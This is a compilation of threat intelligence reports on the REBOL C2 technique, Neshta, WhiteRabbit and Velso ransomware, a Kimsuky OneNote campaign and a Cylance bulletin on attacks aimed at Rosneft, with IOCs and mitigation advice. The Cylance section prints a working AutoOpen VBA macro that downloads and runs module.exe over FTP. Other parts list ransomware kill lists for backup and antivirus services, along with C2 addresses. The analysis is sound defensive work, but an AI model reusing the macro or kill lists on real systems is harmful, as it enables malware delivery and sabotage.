Some compromises might only result in external damage such as to the brand, or no damage at all, but it's still essential for the security team to get answers. Groups like Magecart and those behind are always on the prowl and will be back to compromise you again if you don't fix your exposures. Next time, the damage could be catastrophic. Once these questions are answered, the next step is mitigation. The basics of most, if not all, S3 bucket compromises we observe come down to improper access control. We suggest cleaning out the bucket and performing a new deployment of resources or simply setting up a new bucket. Customers can also enable versioning on their buckets to "rollback" objects to a known good version. As for the policies to secure your bucket, we recommend the following approach: - Check the data classification. Can it be public or not? - Do not give everyone write permissions. - Only provide write permissions to specific users or hosts, and review their need for access periodically. - Take a whitelist approach with the above items, only explicitly provide write and/or read access. - Account admins can also enable account level blocks via [AWS Block Public Access](https://aws.misconfigured.com/blogs/aws/misconfigured-s3-block-public-access-another-layer-of-protection-for-your-accounts-and-buckets/). ## IOCs For the IOCs used in this attack, check out the RiskIQ PassiveTotal Public Project here: [RiskIQ Project](https://community.riskiq.com/projects/df970082-5cd5-49ab-b595-ef3fa79d8bce).
# The REBOL Yell: A New Novel REBOL Exploit By Oscar Minks October 5, 2021 A novel exploit explained and why default deny and user awareness are still king! Ever heard of REBOL? If not, you may be seeing and hearing a lot of it soon. We recently discovered a REBOL exploit used for command-and-control. ## What is REBOL? Let’s be clear here, REBOL itself is not a malicious program. It has been used for very legitimate operations. In our study here, we will illustrate how it is being used for evil in the wild. REBOL is a “multi-paradigm dynamic programming language” that was designed to be used for network communications and distributed computing. It is multi-platform, can run on any operating system (OS), and it introduced the idea of dialecting—small, optimized, domain-specific languages for code and data. It can be used to program internet applications (client and server-side), database applications, utilities, and multimedia applications. REBOL is also very lightweight—the entire install is less than 1MB, making deployment on a victim machine very trivial. ## Why are we talking about this? As I mentioned previously, we recently discovered a novel technique that utilizes REBOL as a command-and-control environment. I’ve scoured the internet high and low and am unable to identify anyone else who has found and documented this technique. Therefore, I feel it is our duty to get this information to the public so you can be aware and implement controls in your environment to prevent this technique from being deployed. ## REBOL Functionality First, let’s look at some functionality of REBOL. We’re specifically looking at REBOL/View 2.7 in this article, but the same logic can be applied to other versions. As you can see, there are lots of powerful components built into this application: Windows registry, network components, DLL access, Windows installers, Command-shell access, etc. For the sake of brevity, we’re not going to dig into all of these, but just understand there isn’t much that you can’t do through this interface. And please keep in mind—it’s OS agnostic. Custom programs can be built and executed cross-platform. Now that we understand a bit more about what REBOL is and what it can do, let’s dig into how this was used in a recent exploit and I think you’ll see the power of this program when used maliciously. ## REBOL Exploit ### It Always Starts with a Phish Okay, it doesn’t always, but you know what I’m saying. So long as default-deny is still king for the good guys, phishing is and will remain king for the bad guys. In this case, our victim received an email with a malicious Excel spreadsheet (XLS) attached. The malicious XLS looked decently legitimate and included (surprise) VBA macros. #### VBA Macros The macros were quite simple. The language is set by calling the data in the “subject” field of the XLS, which is JScript. Code is added from the “comments” field of the document. You can see the code is slightly obfuscated (reversed), but essentially it is invoking WindowsInstaller.Installer to install an MS located at hxxp://172.105.178.[119]/install.msi using an eval statement. Once the user opens the document and enables the macros, the system then reaches out to the malicious website and installs the payload as expected (install.msi). ### Dropped Files Once the MSI is executed, it creates the directory c:\programdata\Temp and drops the following files: - **AudioDriver**: actually REBOL/View 2.7.8. - **Info.txt**: a simple text file that contains a string used to identify the victim. - **Random.txt**: appears to be just that—a randomly generated string of numbers. - **Image.ico**: dynamically builds a value for “ID” and uses that information to access a URL: hxxp://139.59.93.[223]/c.php. There is also a sleep timer of three (3), meaning it will repeat this function every three seconds until the process terminates. ### The Execution of the REBOL Exploit We then see install.msi execute “audiodriver.exe” (REBOL) using the syntax which calls the image.ico configuration file. On execution, the process modifies the following registry key for the persistence of REBOL/View. It then begins making repeated queries to this malicious IP. Here, we can see the structure of the GET request attempting to retrieve c.php appended with dynamic ID and Info parameters making an HTTP connection using the User-Agent of “REBOL View 2.7.8.3.1”. ### What’s next? The attacker is then able to embed REBOL commands in the .php file for complete command and control! When the victim retrieves c.php that includes REBOL commands, they are executed locally through the running REBOL View instance. In our lab environment, we did some quick testing to confirm this functionality, and the execution is quite trivial. We stood up an httpd server, routed all traffic to our malicious IP there, created the target c.php file, and input some commands in proper syntax for REBOL into this file. The first command instructed REBOL to show the user an alert: “all your base are belong to us.” This was followed by a call to execute a PowerShell command that extracts the IP configuration from our victim and places the result into a text file named ips.txt. After executing our payload on the victim machine, sure enough, we were greeted with an alert. And subsequently—ips.txt appeared in the c:\programdata\temp folder, and the text file contained the output from the ipconfig command. ## Other Uses That’s pretty darn simple, right? Now, let’s explore what other mechanisms could easily be implored by this novel REBOL exploit technique. We know that attackers love to live off the land. Using this REBOL exploit, anything that an attacker can execute using Windows PowerShell, WMI, or really any local function can be tunneled through this program. Recon, enumeration, privilege escalation, lateral movement, and data-exfil techniques can certainly be achieved using this mechanism. What we are looking at is a command-and-control environment using a little-known, off-the-shelf program that will not fire any signature-based alerts on your systems. It is not malware; it is a legitimate program being used with malicious intent. In our real-world analysis of this technique, we observed our attacker using this functionality for recon and enumeration as well as deployment of another backdoor for persistence. In this case, we were able to act quickly, identify the point of ingress, identify the systems that were pivoted to, and eradicate our attacker without significant impact or damage. If this went unnoticed, we all know where this likely ends—ransom. ## Preventing and Mitigating a REBOL Exploit ### Default Deny is Still King This is a perfect example of why application allow-listing in your environment is an effective approach to stopping this technique (and others that may be similar). Audit the applications in your environment and only allow those required for business function to run. For now, if you don’t have a legitimate use for REBOL in your environment, block it while you work on implementing your application allow-list approach. ### Disable Macros! Simple, right? ### End-User Awareness Also, let’s not forget to train your users! The human is always the weakest link, and that’s okay. We are all human, and to live is to err. Because we all make mistakes, it’s not the mistake that is most important; it is our response to the mistake. Train your users to be able to identify when they may have fallen victim, and ensure they know how to properly report issues like these. Also, encourage your users to report anything seen as suspicious. Reward them if possible! Be sure everyone errs on the side of caution. If an end-user or anyone else is unsure, report it and get help! Have a process and staff that is fully capable of responding to and analyzing potential exploits. If you don’t have the internal capabilities, get a partner that does! Time is critical when responding to events like this. If you are quick to act, you can most likely contain before the real damage is done. ## The Indicators of Compromise (IoCs) for REBOL Yell The full list of IoCs for this REBOL exploit is below. Be sure to block the hashes and IPs. But also know—these IPs are a revolving door and will likely be shut down (if they aren’t already) by the time we publish this. ### Files and Hash in SHA256 - rebol-core-278-2-4.tar.gz 0881B0FDE0C36F27D540B53D6167E2D141EB39F7DEA13447A9650F72DC8BEF2E - rebol-core-278-2-5.tar.gz EDFA75F1BE9D0D4F92A217185A3810E05B0DEE41F8D24096F7568515B7B4AA06 - rebol-core-278-3-1.exe 2A5E3AC2CCA464030A911B7052E8127979D960EB3518259A94FD99632E418BEF - rebol-core-278-4-10.tar.gz 5AAE66B90BFBA05921FD54B0F7DC3F25BE761749C990BAB1F67378D37347D1F0 - rebol-core-278-4-2.tar.gz 7F75B197C01A3FFFDA5C15655A3006742DD0EB2F6A248651FAA80D07FD053BB0 - rebol-core-278-4-3.tar.gz B0080DF93905F56209875D811C6632C825C385E05D390B220C5D9555A8D38EEE - rebol-core-278-4-8.tar.gz 14F01A73886D61EF2FD99A005DE2FAB14C9AABB7B15DE0165DB9BC4AE16F76B0 - rebol-core-278-7-2.tar.gz 38361CA43D869EC687F5D35A556125E0328BACEBD43B47FA919BAFA9F13A7122 - rebol-core-278-9-4.tar.gz F020F4260CD9A14C17A7C95F5D161F8843A1F111A366CEDD50DC0B28BB5D9D74 - rebol-view-278-2-4.tar.gz CE05B8F8434C04C7CBA515F442B0E01805A9079C1902D7AFA0E32258093566C9 - rebol-view-278-2-5.tar.gz 9AFF51EB1D388EC93CE6385EB77A285064A101B5F2F716851170D2E6B9F6E031 - rebol-view-278-3-1.exe 215E28F9660472B6271A9902573C9D190E4D7CCCA33FCF8D6054941D52A3AB85 - rebol-view-278-4-2.tar.gz 918CA549EEA412F519C24593258B186A7C64A202AEAF08C3DEC094BB13D8B04B - rebol-view-278-4-3.tar.gz A30C11C4446B70D606E950108E1A5F324F304C2B6DFD515E5DF1BE1930B67967 - rebol-view-278-4-8.tar.gz 115E270F8694E0270493D1CA53879DD8670E28D14BBBFE9240913BEB4F17F1F5 - rebol-view-278-7-2.tar.gz 7A3537DD61E0C754F113CF48DD37EE154984DBCC58C0EBD17B186D3C62853AED - rebol-view-278-9-4.tar.gz 4E08BA0E1D5EB7230B4E91D6CF9D573C7918352ED7FC8D67A433C3A1B7D83183 ### IPs - 139.59.93.[223] - 172.105.178.[119] ## Closing Thoughts We’re going to coin this exploit the “REBOL Yell!” It is quite noisy (3-second intervals for command retrieval) and gives me a reason to include a Billy Idol meme with a hint of fall. Also, a big shout out to Kyle McCray—our case handler who first observed this technique. As always, FRSecure is here to help. Whether you suspect you’ve been compromised as part of this attack or are simply hoping to shore your defenses before this becomes a larger concern, please do not hesitate to reach out to our incident response team.
# Win32/Neshta ## Threat Variant Name **Win32/Neshta.A** **Category:** virus **Size:** 41472 B **Aliases:** - Virus.Win32.Neshta.a (Kaspersky) - W32/HLLP.41472.e.virus (McAfee) - Virus:Win32/Neshta.A (Microsoft) - W32.Neshuta (Symantec) ## Short Description Win32/Neshta.A is a file infector. ## Installation When executed, the virus creates the following files: - `%temp%\tmp5023.tmp` - `%windir%\directx.sys` - `%windir%\svchost.com` (41472 B, Win32/Neshta.A) The following Registry entry is set: `[HKEY_CLASSES_ROOT\exefile\shell\open\command]` `"(Default)" = "%windir%\svchost.com "%1" %*"` This causes the virus to be executed along with any program. ## Executable File Infection Win32/Neshta.A is a file infector. The virus searches local drives for files with the following file extensions: - `.exe` The virus infects the files by inserting its code at the beginning of the original program. The size of the inserted code is 41472 B. It also infects files stored on removable and network drives. It avoids files which contain any of the following strings in their path: - `%temp%` - `%windir%` - `\PROGRA~1\` Several other criteria are applied when choosing a file to infect. When an infected file is executed, the original program is dropped into a temporary file and run. The original file is stored in the following location: - `%temp%\3582-490\%filename%` ## Other Information It contains the following text: "Delphi- the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. Прывiтанне усiм ~цiкавым~ беларус_кiм дзяучатам. Аляксандр Рыгоравiч, вам 2005] yours [Dziadulja Apanas]"
# Ransom.Win32.WHITERABBIT.YACAET **Analysis by:** Bren Matthew Ebriega **Threat Type:** Ransomware **Destructiveness:** No **Encrypted:** Yes **In the wild:** Yes ## Overview **Infection Channel:** Downloaded from the Internet This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It drops files as a ransom note and avoids encrypting files with specific extensions. ## Technical Details ### Arrival Details This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. ### Installation This Ransomware drops the following files: `{Malware Directory}\{Filename from argument}` → If `-l` was used. It adds the following processes: `cmd /c choice /t 9 /d y & attrib -h {Malware Filepath}\{Malware Filename} & del {Malware Filepath}\{Malware Filename}` It adds the following mutexes to ensure that only one of its copies runs at any one time: `Global\{GUID}` ### Process Termination This Ransomware terminates the following services if found on the affected system: - msexchange* - msex-change* - vss - sql - svc$ - memtas - mepocs - sophos - veeam - backup - gxvss - gxblr - gxfwd - gxcvd - gxcimgr - defwatch - ccevtmgr - ccsetmgr - savroam - rtvscan - qbfcservice - qbidpservice - intuit.quickbooks.fcs - qbcfmonitorservice - yoobackup - yooit - zhudongfangyu - stc_raw_agent - vsnapvss - veeamtransportsvc - veeamdeploymentservice - veeamnfssvc - pdvfsservice - backupexecvssprovider - backupexeca-gentaccelerator - backupexecagentbrowser - backupexecdivecimediaservice - backupexecjobengine - backupexecmanagementservice - backupexecrpcservice - acrsch2svc - acronisagent - casad2dwebsvc - caarcupdatesvc - vmwp - back - xchange - ackup - acronis - enterprise - acrsch - antivirus - bedbg - dcagent - epsecurity - epupdate - eraser - esgshkernel - fa_scheduler - iisadmin - imap4 - mbam - endpoint - afee - mcshield - task - mfemms - mfevtp - mms - msdts - exchange - ntrt - pdvf - pop3 - report - resvc - sacsvr - savadmin - sams - sdrsvc - sepmaster - monitor - smcinst - smcservice - smtp - snac - swi_ - ccsf - truekey - tmlisten - ui0detect - w3s - wrsvc - netmsmq - ekrn - ehttpsrvn It terminates the following processes if found running in the affected system's memory: - *sqlserver* - agntsvc - avp - backup - calc - cntaosmgr - dbeng - dbeng50 - dbsnmp - ekrn - encsvc - eshasrv - excel - firefox - firefoxconfig - infopath - isqlplussvc - kavf - klnagent - mbamtray - mfefire - msaccess - msdtc - mspub - mydesktop - mydesktopqos - mydesktopservice - mysql* - notepad - ntrtscan - ocautoupds - ocomm - ocssd - onenote - oracle - outlook - pccntmon - powerpnt - sofos - sqbcoreservice - sqbcoreser-vice - sql* - steam - synctime - tbirdconfig - thebat - thunderbird - tmlisten - veeam - virtual - visio - vmcomp - vmcompute - vmms - vmsp - vmwp - wbengine - winword - word - wordpad - xchange - xfssvccon - zoolz ### Other Details This Ransomware does the following: It requires execution with the password/passphrase to proceed with its malicious routine: **KissMe** It will encrypt files found in the following set of drives in the affected system: - Fixed Drives - Removable Drives - Network Drives and Resources It accepts the following parameters: - `-p {password/passphrase}` - `-f {file to encrypt}` - `-l {logfile}` - `-t {day}-{month}-{year} {hour}:{minute}` → Use 24 Hour Format and 2 Digits ### Ransomware Routine This Ransomware avoids encrypting files with the following strings in their file name: - `*\desktop.ini` - `*\thumbs.db` It avoids encrypting files with the following strings in their file path: - `c:\filesource\*` - `c:\windows\*` - `c:\programdata\*` - `%User Temp%\*` - `*:\sysvol\*` - `*:\netlogon\*` - `*:\windows\*` - `*:\programfiles\*` - `*:\program files (x86)\*` - `*:\program files (x64)\*` (Note: %User Temp% is the current user's Temp folder, which is usually `C:\Documents and Settings\{user name}\Local Settings\Temp` on Windows 2000(32-bit), XP, and Server 2003(32-bit), or `C:\Users\{user name}\AppData\Local\Temp` on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).) It appends the following extension to the file name of the encrypted files: `.scrypt` It drops the following file(s) as a ransom note: `{Encrypted Directory}\{Filename}.scrypt.txt` It avoids encrypting files with the following file extensions: - `*.scrypt.txt` - `*.scrypt` - `*.exe` - `*.dll` - `*.lnk` - `*.iso` - `*.msi` - `*.sys` - `*.inf` ## Solution **Step 1** Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name: **Troj.Win32.TRX.XXPE50FFF052** **Step 2** Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers. **Step 3** Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step. **Step 4** Search and delete these files: `{Malware Directory}\{Filename from argument}` `{Encrypted Directory}\{Filename}.scrypt.txt` **Step 5** Scan your computer with your Trend Micro product to delete files detected as Ransom.Win32.WHITERABBIT.YACAET. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. **Step 6** Restore encrypted files from backup.
# The Velso Ransomware Being Manually Installed by Attackers By Lawrence Abrams January 26, 2018 A new ransomware is actively infecting victims called the Velso Ransomware. This ransomware appends the .velso extension to encrypted files and then drops a ransom note that contains an email address that a victim can use to contact the developer. In this article, I will provide a brief summary of what we know about the Velso ransomware and how you can protect yourself from it. You can also discuss or receive support for the Velso Ransomware in our dedicated Velso Ransomware Help & Support Topic. ## What we know about the Velso Ransomware The Velso Ransomware was first discovered by Michael Gillespie when he saw a submission to his ID-Ransomware site. After tweeting about the sample, another researcher named Martin Stopka was able to find a sample of the infection. While it is not 100% confirmed, it appears that the Velso Ransomware is installed manually by an attacker hacking into a victim's computer via remote desktop services. The attacker then manually executes the ransomware file. This causes it to display the victim's ID and then the decryption key while it pauses waiting for the attacker to press a key on the keyboard. Once the attacker has finished copying the two strings, they can press any key and start the process of encrypting the computer. When encrypting files, it will modify the filename by appending the .velso extension to the encrypted file's name. For example, a file named test.jpg would be encrypted and renamed to test.jpg.velso. A ransom note will also be created in every folder that a file is encrypted. This ransom note is named get_my_files.txt and contains an email address that a victim can contact for payment instructions and the victim's unique ID. The current email address is [email protected]. The get_my_files.txt will be copied in the Windows Startup folder so that it is automatically displayed when a user logs into the computer. Unfortunately, at this time there are no known weaknesses that could allow a victim to recover their files for free. ## How to protect yourself from the Velso Ransomware To protect yourself from the Velso Ransomware, it is particularly important that you do not have any computers running remote desktop services connected directly to the Internet. Instead, place computers running remote desktop behind VPNs so that they are only accessible to those who have VPN accounts on your network. In order to protect yourself from ransomware in general, it is important that you use good computing habits and security software. First and foremost, you should always have a reliable and tested backup of your data that can be restored in the case of an emergency, such as a ransomware attack. You should also have security software that incorporates behavioral detections to combat ransomware and not just signature detections or heuristics. For example, Emsisoft Anti-Malware and Malwarebytes Anti-Malware both contain behavioral detection that can prevent many, if not most, ransomware infections from encrypting a computer. Last, but not least, make sure you practice the following security habits, which in many cases are the most important steps of all: - Backup, Backup, Backup! - Do not open attachments if you do not know who sent them. - Do not open attachments until you confirm that the person actually sent you them. - Scan attachments with tools like VirusTotal. - Make sure all Windows updates are installed as soon as they come out! Also, make sure you update all programs, especially Java, Flash, and Adobe Reader. Older programs contain security vulnerabilities that are commonly exploited by malware distributors. Therefore, it is important to keep them updated. - Make sure you have some sort of security software installed that uses behavioral detections or whitelist technology. Whitelisting can be a pain to train, but if you're willing to stick with it, it could have the biggest payoffs. - Use hard passwords and never reuse the same password at multiple sites. For a complete guide on ransomware protection, you can visit our How to Protect and Harden a Computer against Ransomware article. ## IOCs **Server Hashes:** SHA256: 4c8cf7ce3836edceb540edeccae97ef182331f6ed93e678d2e33105d01e809bf **Filenames associated with the Server Cryptomix Variant:** get_my_files.txt **Server Ransom Note Text:** Hello. If you want to return files, write me to e-mail [email protected] Your userkey: obxIwowrpiP2AU13qWlHXj7wDvOFIBL4NlGRd/6r0IlZudy0QbygCw== **Emails Associated with the Server Ransomware:** [email protected] Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.
# Kimsuky Group Exploiting OneNote We have confirmed that the Kimsuky group is distributing malware using a malicious OneNote (.ONE) file, which cybercriminals have widely used. When viewed, the ONE file displays an image and asks the target to fill out a privacy agreement document in order to pay them for participating in a survey. The HWP file is a simple image, not a real attachment, and double-clicking on its location executes a malicious VBS script hidden behind the image to download additional malware. While the final payload is unavailable, the Kimsuky group is believed to be behind this malicious OneNote campaign due to the parameters the group has used to distribute the malware and its fake email disguised as a form of compensation. ## Technical Details On March 17, 2023, a OneNote file containing a malicious script was uploaded on Virustotal impersonating the Institute for Peace and Democracy at Korea University. The file was submitted from South Korea. The OneNote file asks survey participants to fill out a Hangul word processor (.HWP) document (Personal Information Use Agreement) in order to receive recompense. To do this, the image contains a .hwp file icon and file name disguised as a download, and the user is encouraged to double-click it. The double-click triggers the execution of a malicious VBS file hidden behind the image, which then downloads additional malware from an external server. When the image is moved, the VBS file icon appears behind it, and the previously known exploitation method of OneNote is applied in the same way. At this time, the same VBS files are arranged in a row, which is to ensure that the VBS file is executed even if the victim presses any part of the file. When the script is executed, the obfuscated code is executed and additional files are downloaded from the address below. No additional downloads were made at the time of analysis. The downloaded HWP file will be stored in the Downloads path (%Userprofile%\Downloads\personal.hwp), which is presumed to be a normal document to appear as if the target downloads the document normally. In addition to downloading additional files, access specific registries and change values as shown below. - HKCU\Software\Microsoft\Internet Explorer\Main => no => 1 - HKCU\Software\Microsoft\Edge\IEToEdge => 0 The Kimsuky group has been distributing malware by sending phishing emails containing false compensation for several years. The image in OneNote discovered this time also deals with the same theme. In addition, the URL that the VBS script requests to download is the same as the address format used when distributing the Babyshark malware, and the hosting server that the Kimsuky group frequently uses is used for the same purpose. The address format has been used by the Kimsuky group: `hxxp[:]//[URL]/`. This URL format has already been disclosed in the past and has been attributed to the Kimsuky group. The server that downloads the additional malware resolves to 185.176.43[.]98, which the Kimsuky group has been using continuously. ## Conclusion We’ve seen a number of recent cases of cybercrime-related malware such as Qakbot, Redline Stealer, and AsyncRAT being distributed by attaching malicious OneNote files to emails, but this is the first time we’ve seen it utilized by an APT group from North Korea. However, there is a possibility that it is a test stage before full-scale use in that a number of strings were confirmed in the script. Microsoft mentioned on March 10th that they will introduce an option for embedded files to prevent malware infection due to malicious OneNote files, and it is highly likely that the Kimsuky group will be used as a new distribution method until the introduction. In order to prevent malware infection from malicious OneNote, if a suspicious OneNote file is attached to an email received from outside, care must be taken not to open the file. ## IoC - aa756b20170aa0869d6f5d5b5f1b7c37 (OneNote) - f2a0e92b80928830704a00c91df87644 (VBS) - hxxp[:]//delps.scienceontheweb[.]net/ital/info/sample.hwp - hxxp[:]//delps.scienceontheweb[.]net/ital/info/list.php?query=1
# Poking the Bear: Three-Year Campaign Targets Russian Critical Infrastructure by Cylance Threat Intelligence Bulletin | December 11, 2018 Nation-state conflict has come to dominate many of the policy discussions and much of the strategic thinking about cybersecurity. When events of geopolitical significance hit the papers, researchers look for parallel signs of *sub rosa* cyber activity carried out by state-sponsored threat actors—espionage, sabotage, coercion, information operations—to complete the picture. After all, behind every story may lurk a cyber campaign. But ordinary criminals read the newspaper too and are keenly aware of the bias some researchers bring to the table. Exploiting that bias can provide additional camouflage, another layer of seeming invisibility, making threat actors harder to detect. In this Threat Intelligence Bulletin, we’ll show how an investigation into the apparent targeting of a state-owned Russian oil company led to the uncovering not of a state-sponsored campaign but of the bold activity of what we believe to be a criminal effort motivated by the oldest of incentives—money. ## Background Rosneft calls itself the world’s largest publicly traded oil company, and, according to recent analysis in the *New York Times*, it is also a prominent foreign policy tool of the Russian government. More than half of the company is owned by Moscow and serves as a major pillar of critical infrastructure for Russia as well as other neighboring nation states. So when a deal reportedly worth an excess of $10 billion was announced to take nearly 20% of the company private, news organizations around the world took note. The deal quickly became the subject of international political intrigue: Who were the buyers? Why was it sold? Who brokered the deal? Facts that became even more apparent when the transaction received conspicuous mention in the now-infamous Steele Dossier. Reporters, business leaders, and international observers also focused scrutiny on Rosneft in part because the deal was, according to news reports, fraught with delays and setbacks and came to involve a cast of characters that reportedly included a former Qatari diplomat turned head of a sovereign wealth fund. Everything we learned about Rosneft in the last few years—its status as critical infrastructure, the huge sums of money involved in its privatization, its domestic and international political significance—made it a highly likely and legitimate target of foreign espionage efforts. Indeed, when we at Cylance first saw the name “Rosneft” emerge in our research, we thought that was exactly what we were looking at: another state or state-sponsored espionage effort. But we soon discovered that our initial impressions were flawed. ## Evolution of a Threat In July 2017, Cylance stumbled upon some interesting macros embedded in Word documents we uncovered in a common malware repository that seemed to be aimed at Russian-speaking users. We observed the same type of document resurface in the beginning of 2018 and decided to take a closer look. Upon closer inspection, we noticed that the malware author meticulously used command and control (C2) domains which very closely mimicked their real counterparts in the Russian oil and gas industries, in particular Rosneft and subsidiaries of Rosneft. As we investigated further, we discovered that the threat actor had created similar sites to mimic more than two dozen mostly state-owned oil, gas, chemical, agricultural, and other critical infrastructure organizations, in addition to major Russian financial exchanges. The first Rosneft-related site we came across was “rnp-rosneft[.]ru” which was designed to resemble the legitimate webpage “mp-rosneft[.]ru”. The only reference to this domain we could identify was the email address “sec_hotline@mp-rosneft[.]ru” which was used by Rosneft for confidentially reporting corporate fraud, corruption, and embezzlement. After a bit of malware excavation, we discovered that the author had been operating for more than three years with very few changes to the actual malware used other than his/her targets. Interestingly, we uncovered evidence that suggests the actor started out targeting the gaming community, specifically users of Steam, then quickly evolved to more lucrative endeavors. ## Technical Analysis ### Phishing Documents Analysis Cylance researchers identified several phishing documents which used Microsoft Office macros to deliver malicious implants to their targets. It’s not entirely clear whether these were specifically targeted at isolated groups or utilized the old spray-and-pray method to cast a much wider net. **Example Document:** - SHA256: 7bb9f72436bcbb5fcb190ebc2cce77e1ea41ba0e6614bf2347b4514e7d65da4a - Filename: На ознакомление.doc ~ For Review.doc ```vb Sub AutoOpen() ' ' AutoOpen [redacted] ' Dim fso, tf Dim St As String Dim LocalFile As String Set fso = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("WScript.shell") LocalFile = Environ("APPDATA") & "\1.cmd" St = "cd %APPDATA%" & vbNewLine St = St + "echo open rnp-rosneft.ru>>1.txt" & vbNewLine St = St + "echo admin_root>>1.txt" & vbNewLine St = St + "echo [redacted]>>1.txt" & vbNewLine St = St + "echo cd /public_html/>>1.txt" & vbNewLine St = St + "echo binary>>1.txt" & vbNewLine St = St + "echo get module.exe module.exe>>1.txt" & vbNewLine St = St + "echo bye>>1.txt" & vbNewLine St = St + "ftp.exe -s:1.txt & start module.exe & del /f 1.txt & del /f 1.cmd" Set tf = fso.CreateTextFile(LocalFile, True) tf.Write (St) tf.Close If fso.FileExists(LocalFile) = True Then Selection.WholeStory Selection.Delete Unit:=wdCharacter, Count:=1 objShell.Run "cmd /K cd %APPDATA% & 1.cmd", 0 Selection.TypeText Text:="????????? ??????" + "???" End If End Sub ``` At a high level, this macro will write a number of FTP commands to a text file named “1.txt” in %APPDATA%. When executed by the last command it will login and download a file from an FTP server hosted on “rnp-rosneft[.]ru” and save it as “module.exe”. It then starts the “module.exe” binary and deletes another file named “1.cmd”. The binary “module.exe” was a modern variant of a family of malware that ESET calls “RedControle.” Cylance identified several other phishing documents which operated in a similar vein that are listed in the Appendix. ### Malware Analysis We were able to recover several recent samples associated with phishing attempts connected to the rnp-rosfnet[.]ru domain as well as some older samples tied to trstorg[.]ru from July 2017. From what we could gather, “tstorg[.]ru” was originally the website of a Russian company called “TechnoSnabTorg” involved in the sale of spare parts for drilling and road-building equipment; the company specialized in providing parts for Caterpillar, Komatsu, Volvo, Fiat, and Hitachi equipment. This sample was first submitted to online virus scanners in July 2017 and detected by only 13 companies at that time: - SHA256 of 2017 RedControle Sample: 736aa303b35ee23204e0e7d48cb31f77605234609c2b3d89a054b7c3ec2c0544 - Filenames: Актуальный ПРАЙС10.07.2017.exe, ApMsgFwd.exe, SetLogin1Connect.exe The backdoor was programmed in Delphi and communicates over HTTP to two C2 servers. It sends information about the IP address, hostname, and attached drives in its initial communications. It first attempts to communicate directly to the IP address “91.211.245[.]246” on TCP port 80 and then will attempt to communicate to “83.166.242[.]15” on TCP port 17425. Keystroke data, clipboard data, as well as window names are communicated in clear text via HTTP to the 91.211.245[.]246 in near-real time as the victim interacts with their computer. The information is collected using a well-known method leveraging the SetWindowsHookExA API. Commands are received from the other C2 server “83.166.245[.]15” in what appears to be cleartext; however, the backdoor also has the ability to communicate over SSL using the Delphi Indy library. The backdoor installs itself using the good old-fashioned Run key under the infected user’s registry hive “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ApMsgFwd.exe”. The backdoor had the ability to upload and download files, manipulate files and folders, compress and decompress files using ZLIB, enumerate drive information and host information, elevate privileges, capture screenshots and webcam pictures, block and/or simulate user input, log keystrokes, and manipulate processes on the infected system. Directives from the C2 were randomly broken up by the character “_” in an attempt to likely evade HIDS and NIDS signatures such as the command “ST_A_RT_FI_LE”. Later versions of RedControle used randomized strings broken up by the same “_” character to further hinder signature-based analysis and reverse engineering efforts. ## Conclusions When we first discovered that the threat actor was using more than two dozen websites to mimic real Russian critical infrastructure companies, we were intrigued. The effort required to set up those domains seemed disproportionate to the perceived benefit of using them simply as command-and-control infrastructure. Then we saw a paid contributor article in a Russian edition of Forbes, published in April 2017 and entitled (in Google’s translation to English) *Attack of the Clones: How Schemes Work with Fake Sites of Rosneft and Other Large Companies*. The author was Ilya Sachkov, the founder and CEO of infosec company Group-IB and a member of cybercrime expert committees in the Council of Europe and the OSCE. The article described what appeared to be unpublished Group-IB research findings into an elaborate criminal scheme wherein a threat actor was creating near-clones of legitimate Russian critical infrastructure companies—Rosneft most prominent among them—in order to harvest credentials and perpetuate fraud. Given the overlap in findings and the direct connection to past criminal campaigns targeting the gaming community, it seemed clear we were looking at the same operation—a criminal operation, not nation-state espionage activity. The line between well-organized criminal efforts and nation-state activity can often be blurry, but practitioners and consumers of threat intelligence should beware of inherent biases. As we have shown in this Bulletin, what appears at first blush to be a clear indicator of nation-state malfeasance may in fact simply allow a criminal to hack your way of thinking shortly before hacking your organization. ## Appendix ### Phishing Documents Hashes - 7bb9f72436bcbb5fcb190ebc2cce77e1ea41ba0e6614bf2347b4514e7d65da4a - cb1cb113de38ae4ea1312d133d485769ecb38f2a9306f497788cd8fbb6fc4707 - dcec00c780cb71b955e32231d5340e90e51c3c1828262ec7cfa239e431accf5b - 68ab10ca4f823d0246822f102c412430e0a57e2026b3f0a1fd97f200e9e0e707 ### RedControle Hashes - 1847f578bb25fc980f8dd4112e746df0e60531012083ffbd1f294d9b19f01e26 - c12e50e7c9162d8c690d3474400fe2f5d0a9c2903adbd2837d3a9023ba86fb79 - 9949d5d1adb4a44463363c04678dbff0d45aeff740c754aff0c3d7b54d26016d - 0556aca3b5f3a4797ca36150a4b1423ec42a6827749599395d35e369f6df5568 - 302866c5209e8f0b0b78bbc3411e38777de9ca59a8e1c6fa0ffdf7e35aecb2aa - 63d8f1566b5d0fa6459a89a0d48a163b8a356bdf2c0bec4c648b253bd8f36bb9 - 8f7cf81d8bfb3780b48693020a18071a9fd382d06b0b7932226b4d583b03c3af - 9949d5d1adb4a44463363c04678dbff0d45aeff740c754aff0c3d7b54d26016d - aa8dc9ad33ffb69b19d2d685e302888eb557a0159c15689c0eb36b6e649c4f3a - c0b090eca76ccff3b8e7da9a3d94418d0102277a40b1dadf7fd9096ddd668e79 - d31ee9ca7eb1d0fce0f688938269c7200c982f0f13daa9d40a4ce0824de6cc18 ### StickyKeys Hash - 6e476a2ef02986a13274fb2a126ed60a1ede252919d6993de03622aaa7fe6228 ### Dropper Hash - 